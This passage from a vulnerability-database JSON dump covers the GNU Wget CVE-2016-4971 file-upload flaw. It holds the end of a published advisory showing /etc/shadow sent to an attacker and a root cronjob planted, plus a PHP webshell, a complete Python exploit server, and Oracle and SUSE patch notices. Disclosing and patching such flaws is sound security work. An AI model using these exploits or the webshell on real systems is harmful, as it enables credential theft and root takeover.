[26/Feb/2016 15:03:54] \"GET /database.db HTTP/1.1\" 301 -\r\nSending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc \r\n\r\nWe have a volunteer requesting /database.db by POST :)\r\n\r\nReceived POST from wget, this should be the extracted /etc/shadow file: \r\n\r\n---[begin]---\r\nroot:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7:::\r\ndaemon:*:16484:0:99999:7:::\r\nbin:*:16484:0:99999:7:::\r\nsys:*:16484:0:99999:7:::\r\nsync:*:16484:0:99999:7:::\r\ngames:*:16484:0:99999:7:::\r\nman:*:16484:0:99999:7:::\r\nlp:*:16484:0:99999:7:::\r\n...cut...\r\n---[eof]---\r\n\r\nSending back a cronjob script as a thank-you for the file...\r\nIt should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\r\n192.168.57.10 - - [26/Feb/2016 15:05:54] \"POST /database.db HTTP/1.1\" 200 -\r\n\r\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \r\n\r\n---[ output eof ]---\r\n\r\n\r\nAs we can see .wgetrc got uploaded by the exploit. It has set the post_file\r\nsetting to /etc/shadow.\r\nTherefore, on the next wget run, wget sent back shadow file to the attacker.\r\nIt also saved the malicious cronjob script (ROOT_CRON variable) which should \r\ncreate a file named /root/hacked-via-wget, which we can verify on the victim's \r\nserver:\r\n\r\n\r\nroot@victim:~# cat /etc/cron.d/wget-root-shell \r\n* * * * * root /usr/bin/id > /root/hacked-via-wget \r\n\r\nroot@victim:~# cat /root/hacked-via-wget \r\nuid=0(root) gid=0(root) groups=0(root)\r\n\r\n\r\n\r\n2) PHP web application scenario\r\n\r\nIf wget is used within a PHP script e.g.:\r\n\r\n<?php\r\n\r\n// Update geoip data\r\n\r\n system(\"wget -N -P geoip http://attackers-host/goeip.db\");\t\r\n\r\n?>\r\n\r\nAn attacker who manages to respond to the request could simply upload a PHP\r\nbackdoor of:\r\n\r\n<?php\r\n\t//webshell.php\r\n\r\n\tsystem($_GET['cmd']);\r\n?>\r\n\r\nby using the wget-exploit script described in example 1.\r\n\r\nAfter the upload he could simply execute the script and their shell\r\ncommand by a GET request to:\r\n\r\nhttp://victims-php-host/geoip/webshell.php?cmd=id\r\n\r\n\r\nVI. BUSINESS IMPACT\r\n-------------------------\r\n\r\nAffected versions of wget that connect to untrusted (or compromised) web \r\nservers could be tricked into uploading a file under an arbitrary name, or\r\neven path (if wget is run from a home directory).\r\nDepending on the context in which wget is used, this could lead to\r\nuploading a web shell and granting the attacker access remote access to the\r\nsystem, or privilege escalation. It could be possible for attackers to escalate\r\nto root user if wget is run via root cronjob as it is often the case in web \r\napplication deployments and is recommended in some guides on the Internet.\r\n\r\nThe vulnerability could also be exploited by well-positioned attackers within\r\nthe networ who are able to intercept/modify the network traffic.\r\n\r\n \r\nVII. SYSTEMS AFFECTED\r\n-------------------------\r\n\r\nAll versions of Wget before the patched version of 1.18 are affected.\r\n \r\nVIII. SOLUTION\r\n-------------------------\r\n\r\nUpdate to wget version 1.18 as advertised by the vendor at:\r\n\r\nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html\r\n\r\nLinux distributions should update their wget packages. It is recommended\r\nto update wget manually if an updated package is not available for your\r\ndistribution.\r\n \r\nIX. REFERENCES\r\n-------------------------\r\n\r\nhttp://legalhackers.com\r\n\r\nhttp://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt\r\n\r\nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html\r\n\r\nhttp://www.ubuntu.com/usn/usn-3012-1/\r\n\r\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1\r\n\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971\r\n\r\nX. CREDITS\r\n-------------------------\r\n\r\nThe vulnerability has been discovered by Dawid Golunski\r\ndawid (at) legalhackers (dot) com\r\nlegalhackers.com\r\n \r\nXI. REVISION HISTORY\r\n-------------------------\r\n\r\n06.07.2016 - Advisory released\r\n \r\nXII. LEGAL NOTICES\r\n-------------------------\r\n\r\nThe information contained within this advisory is supplied \"as-is\" with\r\nno warranties or guarantees of fitness of use or otherwise. I accept no\r\nresponsibility for any damage caused by the use or misuse of this information.", "sourceHref": "https://www.exploit-db.com/download/40064", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-05-13T17:38:25", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-30T00:00:00", "type": "exploitdb", "title": "GNU Wget < 1.18 - Arbitrary File Upload (2)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["2016-4971", "CVE-2016-4971"], "modified": "2021-04-30T00:00:00", "id": "EDB-ID:49815", "href": "https://www.exploit-db.com/exploits/49815", "sourceData": "# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)\r\n# Original Exploit Author: Dawid Golunski\r\n# Exploit Author: liewehacksie\r\n# Version: GNU Wget < 1.18 \r\n# CVE: CVE-2016-4971\r\n\r\nimport http.server\r\nimport socketserver\r\nimport socket\r\nimport sys\r\n\r\nclass wgetExploit(http.server.SimpleHTTPRequestHandler):\r\n\r\n def do_GET(self):\r\n # This takes care of sending .wgetrc/.bash_profile/$file\r\n\r\n print(\"We have a volunteer requesting \" + self.path + \" by GET :)\\n\")\r\n if \"Wget\" not in self.headers.get('User-Agent'):\r\n print(\"But it's not a Wget :( \\n\")\r\n self.send_response(200)\r\n self.end_headers()\r\n self.wfile.write(\"Nothing to see here...\")\r\n return\r\n\r\n self.send_response(301)\r\n print(\"Uploading \" + str(FILE) + \"via ftp redirect vuln. It should land in /home/ \\n\")\r\n new_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)\r\n\r\n print(\"Sending redirect to %s \\n\"%(new_path))\r\n self.send_header('Location', new_path)\r\n self.end_headers()\r\n\r\n\r\nHTTP_LISTEN_IP = '192.168.72.2'\r\nHTTP_LISTEN_PORT = 80\r\nFTP_HOST = '192.168.72.4'\r\nFTP_PORT = 2121\r\nFILE = '.bash_profile'\r\n\r\nhandler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)\r\n\r\nprint(\"Ready? Is your FTP server running?\")\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nresult = sock.connect_ex((FTP_HOST, FTP_PORT))\r\nif result == 0:\r\n print(\"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT))\r\nelse:\r\n print(\"FTP is down :( Exiting.\")\r\n exit(1)\r\n\r\nprint(\"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT)\r\n\r\nhandler.serve_forever()", "sourceHref": "https://www.exploit-db.com/download/49815", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "oraclelinux": [{"lastseen": "2021-07-30T06:24:24", "description": "[1.14-13]\n- Fix CVE-2016-4971 (#1345778)\n- Added support for non-ASCII URLs (Related: CVE-2016-4971)\n[1.14-12]\n- Fix wget to include Host header on CONNECT as required by HTTP 1.1 (#1203384)\n- Run internal test suite during build (#1295846)\n- Fix -nv being documented as synonym for two options (#1147572)\n[1.14-11]\n- Fix CVE-2014-4877 wget: FTP symlink arbitrary filesystem access (#1156136)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-11-09T00:00:00", "type": "oraclelinux", "title": "wget security and bug fix update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-4877", "CVE-2016-4971"], "modified": "2016-11-09T00:00:00", "id": "ELSA-2016-2587", "href": "http://linux.oracle.com/errata/ELSA-2016-2587.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2017-10-11T05:54:19", "description": "The SUSE Linux Enterprise Server 12 container image has been updated to\n include security and stability fixes.\n\n The following issues related to building of the container images have been\n fixed:\n\n - Included krb5 package to avoid the inclusion of krb5-mini which gets\n selected as a dependency by the Build Service solver. (bsc#1056193)\n - Do not install recommended packages when building container images.\n (bsc#975726)\n\n A number of security issues that have been already fixed by updates\n released for SUSE Linux Enterprise Server 12 are now included in the base\n image. A package/CVE cross-reference is available below.\n\n pam:\n\n - CVE-2015-3238\n\n libtasn1:\n\n - CVE-2015-3622\n - CVE-2016-4008\n\n libidn:\n\n - CVE-2015-2059\n - CVE-2015-8948\n - CVE-2016-6261\n - CVE-2016-6262\n - CVE-2016-6263\n\n zlib:\n\n - CVE-2016-9840\n - CVE-2016-9841\n - CVE-2016-9842\n - CVE-2016-9843\n\n curl:\n\n - CVE-2016-5419\n - CVE-2016-5420\n - CVE-2016-5421\n - CVE-2016-7141\n - CVE-2016-7167\n - CVE-2016-8615\n - CVE-2016-8616\n - CVE-2016-8617\n - CVE-2016-8618\n - CVE-2016-8619\n - CVE-2016-8620\n - CVE-2016-8621\n - CVE-2016-8622\n - CVE-2016-8623\n - CVE-2016-8624\n - CVE-2016-9586\n - CVE-2017-1000100\n - CVE-2017-1000101\n - CVE-2017-7407\n\n openssl:\n\n - CVE-2016-2105\n - CVE-2016-2106\n - CVE-2016-2107\n - CVE-2016-2108\n - CVE-2016-2109\n - CVE-2016-2177\n - CVE-2016-2178\n - CVE-2016-2179\n - CVE-2016-2180\n - CVE-2016-2181\n - CVE-2016-2182\n - CVE-2016-2183\n - CVE-2016-6302\n - CVE-2016-6303\n - CVE-2016-6304\n - CVE-2016-6306\n\n libxml2:\n\n - CVE-2014-0191\n - CVE-2015-8806\n - CVE-2016-1762\n - CVE-2016-1833\n - CVE-2016-1834\n - CVE-2016-1835\n - CVE-2016-1837\n - CVE-2016-1838\n - CVE-2016-1839\n - CVE-2016-1840\n - CVE-2016-2073\n - CVE-2016-3627\n - CVE-2016-3705\n - CVE-2016-4447\n - CVE-2016-4448\n - CVE-2016-4449\n - CVE-2016-4483\n - CVE-2016-4658\n - CVE-2016-9318\n - CVE-2016-9597\n - CVE-2017-9047\n - CVE-2017-9048\n - CVE-2017-9049\n - CVE-2017-9050\n\n util-linux:\n\n - CVE-2015-5218\n - CVE-2016-5011\n - CVE-2017-2616\n\n cracklib:\n\n - CVE-2016-6318\n\n systemd:\n\n - CVE-2014-9770\n - CVE-2015-8842\n - CVE-2016-7796\n\n pcre:\n\n - CVE-2014-8964\n - CVE-2015-2325\n - CVE-2015-2327\n - CVE-2015-2328\n - CVE-2015-3210\n - CVE-2015-3217\n - CVE-2015-5073\n - CVE-2015-8380\n - CVE-2015-8381\n - CVE-2015-8382\n - CVE-2015-8383\n - CVE-2015-8384\n - CVE-2015-8385\n - CVE-2015-8386\n - CVE-2015-8387\n - CVE-2015-8388\n - CVE-2015-8389\n - CVE-2015-8390\n - CVE-2015-8391\n - CVE-2015-8392\n - CVE-2015-8393\n - CVE-2015-8394\n - CVE-2015-8395\n - CVE-2016-1283\n - CVE-2016-3191\n\n appamor:\n\n - CVE-2017-6507\n\n bash:\n\n - CVE-2014-6277\n - CVE-2014-6278\n - CVE-2016-0634\n - CVE-2016-7543\n\n cpio:\n\n - CVE-2016-2037\n\n glibc:\n\n - CVE-2016-1234\n - CVE-2016-3075\n - CVE-2016-3706\n - CVE-2016-4429\n - CVE-2017-1000366\n\n perl:\n\n - CVE-2015-8853\n - CVE-2016-1238\n - CVE-2016-2381\n - CVE-2016-6185\n\n libssh2_org:\n\n - CVE-2016-0787\n\n expat:\n\n - CVE-2012-6702\n - CVE-2015-1283\n - CVE-2016-0718\n - CVE-2016-5300\n - CVE-2016-9063\n - CVE-2017-9233\n\n ncurses:\n\n - CVE-2017-10684\n - CVE-2017-10685\n - CVE-2017-11112\n - CVE-2017-11113\n\n libksba:\n\n - CVE-2016-4574\n - CVE-2016-4579\n\n libgcrypt:\n\n - CVE-2015-7511\n - CVE-2016-6313\n - CVE-2017-7526\n\n dbus-1:\n\n - CVE-2014-7824\n - CVE-2015-0245\n\n Finally, the following packages received non-security fixes:\n\n - augeas\n - bzip2\n - ca-certificates-mozilla\n - coreutils\n - cryptsetup\n - cyrus-sasl\n - dirmngr\n - e2fsprogs\n - findutils\n - gpg2\n - insserv-compat\n - kmod\n - libcap\n - libsolv\n - libzypp\n - openldap2\n - p11-kit\n - permissions\n - procps\n - rpm\n - sed\n - shadow\n - zypper\n\n", "cvss3": {}, "published": "2017-10-11T03:06:53", "type": "suse", "title": "Security update for SLES 12 Docker image (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-6262", "CVE-2017-7407", "CVE-2015-8388", "CVE-2016-8620", "CVE-2016-8623", "CVE-2017-9233", "CVE-2016-5420", "CVE-2016-9840", "CVE-2016-3705", "CVE-2016-1840", "CVE-2014-0191", "CVE-2016-8615", "CVE-2016-8616", "CVE-2015-5276", "CVE-2015-3210", "CVE-2015-2325", "CVE-2016-6261", "CVE-2016-8619", "CVE-2017-10685", "CVE-2016-6306", "CVE-2016-2183", "CVE-2016-2178", "CVE-2015-8391", "CVE-2016-6263", "CVE-2016-2108", "CVE-2016-9063", "CVE-2016-8618", "CVE-2016-1762", "CVE-2016-6302", "CVE-2016-5300", "CVE-2015-8395", "CVE-2016-7141", "CVE-2016-1834", "CVE-2017-11112", "CVE-2016-2177", "CVE-2014-7169", "CVE-2015-8382", "CVE-2016-3627", "CVE-2015-1283", "CVE-2014-6277", "CVE-2016-2105", "CVE-2016-9318", "CVE-2016-4483", "CVE-2016-2107", "CVE-2015-8386", "CVE-2014-6278", "CVE-2015-2327", "CVE-2017-9049", "CVE-2016-3075", "CVE-2016-8617", "CVE-2016-9842", "CVE-2016-7796", "CVE-2017-2616", "CVE-2016-0634", "CVE-2012-6702", "CVE-2015-3238", "CVE-2016-2180", "CVE-2016-1835", "CVE-2016-0787", "CVE-2016-1234", "CVE-2016-0718", "CVE-2016-6185", "CVE-2015-8392", "CVE-2016-4574", "CVE-2015-8389", "CVE-2016-2109", "CVE-2015-8380", "CVE-2016-2181", "CVE-2016-6304", "CVE-2016-4449", "CVE-2017-9048", "CVE-2014-8964", "CVE-2015-2059", "CVE-2017-11113", "CVE-2016-1283", "CVE-2016-6313", "CVE-2016-1837", "CVE-2016-6318", "CVE-2015-3622", "CVE-2016-4448", "CVE-2016-1238", "CVE-2015-8393", "CVE-2016-1838", "CVE-2016-3706", "CVE-2016-4429", "CVE-2016-2381", "CVE-2016-7543", "CVE-2017-1000101", "CVE-2016-8622", "CVE-2015-8853", "CVE-2014-7187", "CVE-2015-8394", "CVE-2016-4008", "CVE-2014-9770", "CVE-2015-3217", "CVE-2014-6271", "CVE-2017-7526", "CVE-2016-3191", "CVE-2017-1000366", "CVE-2016-1839", "CVE-2016-8624", "CVE-2015-8384", "CVE-2016-9843", "CVE-2017-9047", "CVE-2015-8948", "CVE-2014-7824", "CVE-2015-8842", "CVE-2016-9597", "CVE-2015-5218", "CVE-2016-6303", "CVE-2015-8383", "CVE-2017-1000100", "CVE-2015-8381", "CVE-2016-2182", "CVE-2016-5421", "CVE-2016-9586", "CVE-2015-5073", "CVE-2016-4447", "CVE-2016-5011", "CVE-2015-7511", "CVE-2015-8385", "CVE-2015-8806", "CVE-2016-9841", "CVE-2016-4579", "CVE-2015-0245", "CVE-2016-2037", "CVE-2016-2073", "CVE-2016-5419", "CVE-2015-2328", "CVE-2017-6507", "CVE-2016-4658", "CVE-2016-7167", "CVE-2017-10684", "CVE-2016-2179", "CVE-2016-2106", "CVE-2016-1833", "CVE-2015-8387", "CVE-2016-8621", "CVE-2015-8390", "CVE-2017-9050"], "modified": "2017-10-11T03:06:53", "id": "SUSE-SU-2017:2699-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-10/msg00010.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-10-11T05:54:20", "description": "The SUSE Linux Enterprise Server 12 SP1 container image has been updated\n to include security and stability fixes.\n\n The following issues related to building of the container images have been\n fixed:\n\n - Included krb5 package to avoid the inclusion of krb5-mini which gets\n selected as a dependency by the Build Service solver. (bsc#1056193)\n - Do not install recommended packages when building container images.\n (bsc#975726)\n\n A number of security issues that have been already fixed by updates\n released for SUSE Linux Enterprise Server 12 SP1 are now included in the\n base image. A package/CVE cross-reference is available below.\n\n pam:\n\n - CVE-2015-3238\n\n libtasn1:\n\n - CVE-2015-3622\n - CVE-2016-4008\n\n expat:\n\n expat:\n\n - CVE-2012-6702\n - CVE-2015-1283\n - CVE-2016-0718\n - CVE-2016-5300\n - CVE-2016-9063\n - CVE-2017-9233\n\n libidn:\n\n - CVE-2015-2059\n - CVE-2015-8948\n - CVE-2016-6261\n - CVE-2016-6262\n - CVE-2016-6263\n\n\n zlib:\n\n - CVE-2016-9840\n - CVE-2016-9841\n - CVE-2016-9842\n - CVE-2016-9843\n\n curl:\n\n - CVE-2016-5419\n - CVE-2016-5420\n - CVE-2016-5421\n - CVE-2016-7141\n - CVE-2016-7167\n - CVE-2016-8615\n - CVE-2016-8616\n - CVE-2016-8617\n - CVE-2016-8618\n - CVE-2016-8619\n - CVE-2016-8620\n - CVE-2016-8621\n - CVE-2016-8622\n - CVE-2016-8623\n - CVE-2016-8624\n - CVE-2016-9586\n - CVE-2017-1000100\n - CVE-2017-1000101\n - CVE-2017-7407\n\n openssl:\n\n - CVE-2016-2105\n - CVE-2016-2106\n - CVE-2016-2107\n - CVE-2016-2108\n - CVE-2016-2109\n - CVE-2016-2177\n - CVE-2016-2178\n - CVE-2016-2179\n - CVE-2016-2180\n - CVE-2016-2181\n - CVE-2016-2182\n - CVE-2016-2183\n - CVE-2016-6302\n - CVE-2016-6303\n - CVE-2016-6304\n - CVE-2016-6306\n - CVE-2016-7056\n - CVE-2016-8610\n - CVE-2017-3731\n\n cracklib:\n\n - CVE-2016-6318\n\n pcre:\n\n - CVE-2014-8964\n - CVE-2015-2325\n - CVE-2015-2327\n - CVE-2015-2328\n - CVE-2015-3210\n - CVE-2015-3217\n - CVE-2015-5073\n - CVE-2015-8380\n - CVE-2015-8381\n - CVE-2015-8382\n - CVE-2015-8383\n - CVE-2015-8384\n - CVE-2015-8385\n - CVE-2015-8386\n - CVE-2015-8387\n - CVE-2015-8388\n - CVE-2015-8389\n - CVE-2015-8390\n - CVE-2015-8391\n - CVE-2015-8392\n - CVE-2015-8393\n - CVE-2015-8394\n - CVE-2015-8395\n - CVE-2016-1283\n - CVE-2016-3191\n\n appamor:\n\n - CVE-2017-6507\n\n bash:\n\n - CVE-2014-6277\n - CVE-2014-6278\n - CVE-2016-0634\n - CVE-2016-7543\n\n cpio:\n\n - CVE-2016-2037\n\n glibc:\n\n - CVE-2016-1234\n - CVE-2016-3075\n - CVE-2016-3706\n - CVE-2016-4429\n - CVE-2017-1000366\n\n perl:\n\n - CVE-2015-8853\n - CVE-2016-1238\n - CVE-2016-2381\n - CVE-2016-6185\n\n libssh2_org:\n\n - CVE-2016-0787\n\n util-linux:\n\n - CVE-2016-5011\n - CVE-2017-2616\n\n ncurses:\n\n - CVE-2017-10684\n - CVE-2017-10685\n - CVE-2017-11112\n - CVE-2017-11113\n\n libksba:\n\n - CVE-2016-4574\n - CVE-2016-4579\n\n libxml2:\n\n - CVE-2014-0191\n - CVE-2015-8806\n - CVE-2016-1762\n - CVE-2016-1833\n - CVE-2016-1834\n - CVE-2016-1835\n - CVE-2016-1837\n - CVE-2016-1838\n - CVE-2016-1839\n - CVE-2016-1840\n - CVE-2016-2073\n - CVE-2016-3627\n - CVE-2016-3705\n - CVE-2016-4447\n - CVE-2016-4448\n - CVE-2016-4449\n - CVE-2016-4483\n - CVE-2016-4658\n - CVE-2016-9318\n - CVE-2016-9597\n - CVE-2017-9047\n - CVE-2017-9048\n - CVE-2017-9049\n - CVE-2017-9050\n\n libgcrypt:\n\n - CVE-2015-7511\n - CVE-2016-6313\n - CVE-2017-7526\n\n update-alternatives:\n\n - CVE-2015-0860\n\n systemd:\n\n - CVE-2014-9770\n - CVE-2015-8842\n - CVE-2016-7796\n\n dbus-1:\n\n - CVE-2014-7824\n - CVE-2015-0245\n\n Finally, the following packages received non-security fixes:\n\n - augeas\n - bzip2\n - ca-certificates-mozilla\n - coreutils\n - cryptsetup\n - cyrus-sasl\n - dirmngr\n - e2fsprogs\n - findutils\n - gpg2\n - insserv-compat\n - kmod\n - libcap\n - libsolv\n - libzypp\n - lua51\n - lvm2\n - netcfg\n - p11-kit\n - permissions\n - procps\n - rpm\n - sed\n - sg3_utils\n - shadow\n - zypper\n\n", "cvss3": {}, "published": "2017-10-11T03:07:32", "type": "suse", "title": "Security update for SLES 12-SP1 Docker image (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-6262", "CVE-2016-7056", "CVE-2017-7407", "CVE-2015-8388", "CVE-2016-8620", "CVE-2016-8623", "CVE-2017-9233", "CVE-2016-5420", "CVE-2016-9840", "CVE-2016-3705", "CVE-2016-1840", "CVE-2014-0191", "CVE-2016-8615", "CVE-2016-8616", "CVE-2015-5276", "CVE-2015-3210", "CVE-2015-2325", "CVE-2016-6261", "CVE-2016-8619", "CVE-2017-10685", "CVE-2016-6306", "CVE-2016-2183", "CVE-2015-0860", "CVE-2016-2178", "CVE-2015-8391", "CVE-2016-6263", "CVE-2016-2108", "CVE-2016-9063", "CVE-2016-8618", "CVE-2016-1762", "CVE-2016-6302", "CVE-2016-5300", "CVE-2015-8395", "CVE-2016-7141", "CVE-2016-1834", "CVE-2017-11112", "CVE-2016-2177", "CVE-2014-7169", "CVE-2015-8382", "CVE-2016-3627", "CVE-2015-1283", "CVE-2014-6277", "CVE-2016-2105", "CVE-2016-9318", "CVE-2016-4483", "CVE-2016-2107", "CVE-2017-3731", "CVE-2015-8386", "CVE-2014-6278", "CVE-2015-2327", "CVE-2017-9049", "CVE-2016-3075", "CVE-2016-8617", "CVE-2016-9842", "CVE-2016-7796", "CVE-2017-2616", "CVE-2016-0634", "CVE-2012-6702", "CVE-2015-3238", "CVE-2016-2180", "CVE-2016-1835", "CVE-2016-0787", "CVE-2016-8610", "CVE-2016-1234", "CVE-2016-0718", "CVE-2016-6185", "CVE-2015-8392", "CVE-2016-4574", "CVE-2015-8389", "CVE-2016-2109", "CVE-2015-8380", "CVE-2016-2181", "CVE-2016-6304", "CVE-2016-4449", "CVE-2017-9048", "CVE-2014-8964", "CVE-2015-2059", "CVE-2017-11113", "CVE-2016-1283", "CVE-2016-6313", "CVE-2016-1837", "CVE-2016-6318", "CVE-2015-3622", "CVE-2016-4448", "CVE-2016-1238", "CVE-2015-8393", "CVE-2016-1838", "CVE-2016-3706", "CVE-2016-4429", "CVE-2016-2381", "CVE-2016-7543", "CVE-2017-1000101", "CVE-2016-8622", "CVE-2015-8853", "CVE-2014-7187", "CVE-2015-8394", "CVE-2016-4008", "CVE-2014-9770", "CVE-2015-3217", "CVE-2014-6271", "CVE-2017-7526", "CVE-2016-3191", "CVE-2017-1000366", "CVE-2016-1839", "CVE-2016-8624", "CVE-2015-8384", "CVE-2016-9843", "CVE-2017-9047", "CVE-2015-8948", "CVE-2014-7824", "CVE-2015-8842", "CVE-2016-9597", "CVE-2016-6303", "CVE-2015-8383", "CVE-2017-1000100", "CVE-2015-8381", "CVE-2016-2182", "CVE-2016-5421", "CVE-2016-9586", "CVE-2015-5073", "CVE-2016-4447", "CVE-2016-5011", "CVE-2015-7511", "CVE-2015-8385", "CVE-2015-8806", "CVE-2016-9841", "CVE-2016-4579", "CVE-2015-0245", "CVE-2016-2037", "CVE-2016-2073", "CVE-2016-5419", "CVE-2015-2328", "CVE-2017-6507", "CVE-2016-4658", "CVE-2016-7167", "CVE-2017-10684", "CVE-2016-2179", "CVE-2016-2106", "CVE-2016-1833", "CVE-2015-8387", "CVE-2016-8621", "CVE-2015-8390", "CVE-2017-9050"], "modified": "2017-10-11T03:07:32", "id": "SUSE-SU-2017:2700-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-10/msg00011.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}